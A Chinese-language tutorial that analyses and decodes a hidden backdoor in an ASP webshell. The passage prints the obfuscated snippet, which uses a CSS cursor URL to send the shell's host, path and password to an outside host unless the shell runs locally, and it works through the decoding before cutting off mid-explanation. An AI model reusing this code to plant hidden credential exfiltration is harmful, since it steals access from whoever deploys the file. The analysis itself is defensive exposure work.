asp木马代码解密的随机加密webshell(7)


if Instr(Serveru,"127.0.0.1")<>0 or Instr(Serveru,"192.168.")<>0 or Instr(Serveru,"https://")<>0 then
else
if session("servec")=1 then
session("servec")=session("servec")+1
RRS"<DIVCURSOR:url('"&posurl&"://"&chr(37)&"76"&chr(37)&"67%2E"&chr(37)&"6c"&chr(37)&"61/%"&(31+pos)&"/?%75="&u&"&%70="&p&"')"">"
else
if Action<>"" then session("servec")=session("servec")+1
end if
end if
end if


看这个代码之前先看一下几个常量和函数有助于理解。
URL=Request.ServerVariables("URL")
ServerIP=Request.ServerVariables("LOCAL_ADDR")
Action=Request("Action")
RootPath=Server.MapPath(".")
WWWRoot=Server.MapPath("https://www.jb51.net/")
u=request.servervariables("http_host")&url
p=userpass
posurl="http"
Sub RRS(str)
response.write(str)
End Sub


首先看url中的变量U,由于URL=Request.ServerVariables("URL"),那么U=request.servervariables("http_host")&Request.ServerVariables("URL")
如果在本地调试的话,架设文件名为a.asp,那么request.servervariables("http_host")为localhost
Request.ServerVariables("URL")为/a.asp,及
U=localhost/a.asp
再看变量p,非常明显,它是你的shell的密码
而对于(31+pos),找了半天没有看出名堂,但是还是想办法得出了结果,他就是31.
好了,这几个主要的东东都搞明白了,现在去除字符连接符号&,比照ASCII码编码对照表,以上面架设的文件为例,那么得出url值

复制代码 代码如下:


url('http://%76%67%2E%6c%61/%31/?%75=localhost/c.asp&%70=111')


再url解密一下,

复制代码 代码如下:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/psgxw.html